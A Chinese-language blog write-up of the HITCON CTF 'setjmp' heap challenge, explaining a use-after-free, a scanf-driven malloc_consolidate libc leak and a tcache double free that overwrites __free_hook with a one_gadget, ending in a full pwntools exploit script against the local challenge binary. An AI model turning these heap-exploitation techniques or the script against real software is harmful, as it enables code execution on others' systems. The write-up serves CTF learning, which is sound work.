HITCON CTF —— setjmp

HITCON CTF —— setjmp

题目下载:https://ctf2024.hitcon.org/dashboard/

静态分析

之前没遇见过setjmp函数,看的这setjmp了解了一下

现在来分析一下程序

image

看一下这个菜单,相较于一般的菜单堆题,多了一个restart,其余的就是一般题目中都有的创建,删除,修改和查看

restart

image

可以看到,重启这个功能就是跳回到程序开始的地方,就是直接跳回去,没有对我们创建过的东西进行任何修改

并且,他会重新创建一个root用户

add

image

我们不能够控制自己分配chunk的大小,每个用户只有0x20大小的空间

然后下面写地址的地方看起来感觉有点乱,在gdb里面看一下,其实就是把每个用户之间的地址用双链的结构

image

del

image

free之后没有置零

change

image

image

view

image

解析

这是2.31版本的glibc(给了dockerfile文件,从里面的哈希值得出的),hook钩子还存在,tcache有简单的检查double free的机制,还没有混淆,可以使用tcache poisoning

大致思路就是泄露出libc,使用tcache poisoning申请到free_hook处写入one_gadget或则system。

但是这道题限制了申请只能为0x20,在fastbin里面,我们泄露不了libc,我目前的想法是修改一个chunk的size位,然后再进行free(不知道还有没有其他办法,如果有,希望师傅们可以在留言里告诉我一下)

泄露libc

double free

我们之前就看到了del里面有一个uaf漏洞,当我们把里面唯一的一个用户删除时,他的双链是指向自己的

image

这时候我们就可以绕过他双链自己的检测,使用到他的uaf漏洞修改他的bk处的值,绕过2.31的tcache上的double free机制

1
2
3
dele(b'root')   
change(b'\x00',b'\x00'*8)
dele(b'\x00')

image

尝试(失败了)

我开始的思路是通过double free取申请一个chunk上面一点的位置,使之刚好可以修改这个chunk的size位,然后修改size位unsorted bin大小,free掉这个chunk后,就会泄露出一个值取计算libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dele(b'root')   
show()
io.recvuntil(b': ')
data = u64(io.recv(6).ljust(8, b'\x00'))
print('data:',hex(data))
res()
add(b'aaaa',b'aaaa')
dele(b'aaaa')
dele(b'root')
change(p64(data+0x556253a616e0-0x556253a61010)[:6],b'\x00'*8)
dele(p64(data+0x556253a616e0-0x556253a61010)[:6])

add(p64(data+0x556253a616d0-0x556253a61010)[:6],p64(data)[:6])
add(b'a',b'a')
add(b'aa',p64(0x540))
dele(p64(data+0x000055882c11c370-0x55882c11c010)[:6])

image

本来我感觉所有的都调好了,高高兴兴去free这个chunk,然后被这个程序自己的双链检测机制给拦住了

image

从这看出,程序的双链没有指向的我想free掉的chunk

然后我就去看了这道题目的wp,发现泄露libc用到的竟然是scanf

利用scanf泄露libc

参考文章 Heap exploitation, glibc internals and nifty tricks.

scanf在我们进行输入的时候会开辟一个缓存空间在堆上,然后在函数返回的时候会将这个堆释放。但是我们如果直接使用scanf在本题里面输入很长的内容使之生成了一个大的unsorted bin,但在scanf函数返回后,unsorted bin也会因为与top chunk相邻而合并,这时候就需要使用到malloc_consolidate这个函数(很早之前就看过这个函数了,还是第一次用)当我们申请了很多个fast bin大小的chunk然后再free掉之后,调用malloc_consolidate这个函数就可以使这些fast bin大小的chunk合并为一个unsorted bin的chunk

(关于malloc_consolidate的调用时机可以看看这https://bbs.kanxue.com/thread-257742.htm#msg_header_h2_2

创建许多个用户再删除,让堆空间存在很多个fast bin chunk

1
2
3
4
5
for i in range(30):
add(str(i),str(i))

for i in range(30):
dele(str(i))

然后我们使用scanf输入很多数据,使之生成一个large bin从而触发malloc_consolidate合并之前的fast bin

但是这一步有两个需要关注的点:

1.我们需要调用一下重启功能,让程序自己在我们的fast bin下面创建两个0xd1的chunk隔绝top chunk

2.由于我们scanf的函数读取的是int类型

image

image

所以我们输入的数据只能用0填充,因为0*0x540还是0,但是使用其他数据就不包含在条件里会执行exit

1
2
res()
choose(b'0'*0x500)

这样,就出现了unsorted bin

image

之后再将之前的tcache bin全部申请出来,只剩下unsorted bin的时候,申请一个用户名和密码都为空的用户,就不会覆盖需要leak的数据(最低位会被换行符覆盖,但是没什么影响),show一下就出来了

1
2
3
4
5
6
7
8
9
10
11
for i in range(5):
add(str(i),str(i))

add(b'',b'')
show()
io.recv()
data1=u64(io.recv(6).ljust(8,b'\x00'))
print("data1",hex(data1))
offset=0x7f1a7754a000-0x7f1a77735b0a
libc_base=data1+offset
print('libc_base:',hex(libc_base))

image

后面的做法就是使用double free申请到free hook处进行修改就可以了,就不详细分析了

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import*
context(os='linux',arch='amd64',log_level='debug')

io=process('./run')
libc=ELF('./libc.so.6')
elf=ELF('./run')

def choose(num):
io.sendlineafter(b'>',num)

def res():
choose(b'1')

def add(name,password):
choose(b'2')
io.sendlineafter(b'>',name)
io.sendlineafter(b'>',password)

def dele(name):
choose(b'3')
io.sendlineafter(b'>',name)

def change(name,password):
choose(b'4')
io.sendafter(b'>',name)
io.sendafter(b'>',password)

def show():
choose(b'5')



# dele(b'root')
# show()
# io.recvuntil(b': ')
# data = u64(io.recv(6).ljust(8, b'\x00'))
# print('data:',hex(data))
# res()
# add(b'aaaa',b'aaaa')
# dele(b'aaaa')
# dele(b'root')
# change(p64(data+0x556253a616e0-0x556253a61010)[:6],b'\x00'*8)
# dele(p64(data+0x556253a616e0-0x556253a61010)[:6])

# add(p64(data+0x556253a616d0-0x556253a61010)[:6],p64(data)[:6])
# add(b'a',b'a')
# add(b'aa',p64(0x540))
# dele(p64(data+0x000055882c11c370-0x55882c11c010)[:6])

for i in range(30):
add(str(i),str(i))

for i in range(30):
dele(str(i))

res()
choose(b'0'*0x500)

for i in range(5):
add(str(i),str(i))

add(b'',b'')
show()
io.recv()
data1=u64(io.recv(6).ljust(8,b'\x00'))
print("data1",hex(data1))
offset=0x7f1a7754a000-0x7f1a77735b0a
libc_base=data1+offset
print('libc_base:',hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
onegaddet=libc_base+0xe6aee #0xe6af1 #0xe6af4

for i in range(30):
add(f"a{i}", b"aaaa") #把之前的unsorted bin用完

res()
dele(b'root')
show()
io.recvuntil(b': ')
data2 = u64(io.recv(6).ljust(8, b'\x00'))
print('data2:',hex(data2))
res()
add(b'aaaa',b'aaaa')
dele(b'aaaa')
dele(b'root')
change(p64(data2+0x000055aa5cae8320-0x55aa5cae7010)[:6],b'\x00'*8)
dele(p64(data2+0x000055aa5cae8320-0x55aa5cae7010)[:6])
add(p64(free_hook)[:6],b'aaaa')
add(b'b',b'b')
add(p64(onegaddet)[:6],b'a')
dele(b'b')
gdb.attach(io)

io.interactive()

image

感觉这个题也不算很难,但是我之前没遇见过通过scanf得到unsorted bin的手法,写下来记录一下


HITCON CTF —— setjmp
http://example.com/post/hitcon-ctf------setjmp-xgw6m.html
作者
N1mbus
发布于
2025年5月12日
更新于
2025年5月12日
许可协议